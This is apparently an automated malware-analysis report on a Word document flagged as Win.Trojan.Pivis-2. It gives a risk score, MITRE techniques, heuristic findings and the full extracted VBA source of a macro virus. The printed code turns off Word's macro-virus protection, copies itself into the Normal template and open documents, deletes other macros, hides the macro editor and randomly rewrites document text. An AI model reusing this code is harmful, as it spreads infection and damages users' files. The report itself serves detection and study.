MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature Win.Trojan.Pivis-2. It contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The presence of legacy WordBasic macro virus markers and the AutoExec subroutine further indicate malicious intent, likely to download and execute a secondary payload.
Heuristics 6
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4014 bytes |
SHA-256: 9c343d1117840d90d29d5ac223f2ba93939d93fc6492f7e7757e75c11af9c37e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "akrnl"
Public Skip As Integer
Sub AutoExec()
On Error Resume Next
Call Sauve
End Sub
Sub AutoNew()
On Error Resume Next
Call Sauve
End Sub
Sub AutoPrint()
On Error Resume Next
Call Sauve
End Sub
Sub FileNew()
On Error Resume Next
Call Sauve
dialogs(wdDialogFileNew).show
Skip = 1
Call Sauve
End Sub
Sub FileClose()
On Error Resume Next
Call Sauve
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
Call Sauve
End Sub
Sub FileExit()
On Error Resume Next
Call Sauve
Application.Quit
End Sub
Sub autoOpen()
On Error Resume Next
'Call akrnl
'Call Sauve
End Sub
Sub AutoExit()
On Error Resume Next
Call Sauve
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub AutoClose()
On Error Resume Next
Call Sauve
If ActiveDocument.Saved = False Then ActiveDocument.Save
Call Sauve
End Sub
Sub ToolsMacro()
On Error Resume Next
End Sub
Sub FileTemplates()
On Error Resume Next
End Sub
Sub ViewVBCode()
On Error Resume Next
End Sub
Sub RandomRemplace()
randomize
ValRandom = Int(Rnd * 75)
If ValRandom < 20 Then BesoinRemplace = True
If ValRandom < 20 Then txt = "ainsi, si j'en crois ce que mon incompétant de professeur me dit,"
If ValRandom < 15 Then txt = "ainsi, mon chat a perdu ses dents. De plus,"
If ValRandom < 10 Then txt = "ainsi, selon ma grand-mère,"
If ValRandom < 5 Then txt = "ainsi, la matière du cours est plate. De plus,"
If BesoinRemplace = True Then Call Remplace(txt)
End Sub
Sub Remplace(txt)
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "donc,"
.Replacement.Text = txt
.Forward = True
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceOne
Selection.MoveUp Unit:=wdScreen, Count:=8
End Sub
Sub Sauve()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("akrnl").Export "c:\Étudiant.cfg"
ActiveDocument.ReadOnlyRecommended = False
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
NomMacro = ActiveDocument.VBProject.VBComponents(i).Name
If NomMacro = "akrnl" Then PrésentAct = True Else Call DelVir(NomMacro)
Next i
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
NomMacro = NormalTemplate.VBProject.VBComponents(i).Name
If NomMacro = "akrnl" Then PrésentNorm = True Else Call DelVir(NomMacro)
Next i
If PrésentAct = True And PrésentNorm = False Then Set BesoinSauve = NormalTemplate.VBProject.VBComponents
If PrésentAct = False And PrésentNorm = True Then Set BesoinSauve = ActiveDocument.VBProject.VBComponents
BesoinSauve.Import "c:\Étudiant.cfg"
If PrésentNorm = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
If PrésentAct = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Sub DelVir(NomMacro)
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents.Remove _
Application.VBE.ActiveVBProject.VBComponents(NomMacro)
With Application.NormalTemplate.VBProject
.VBComponents.Remove .VBComponents(NomMacro)
End With
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.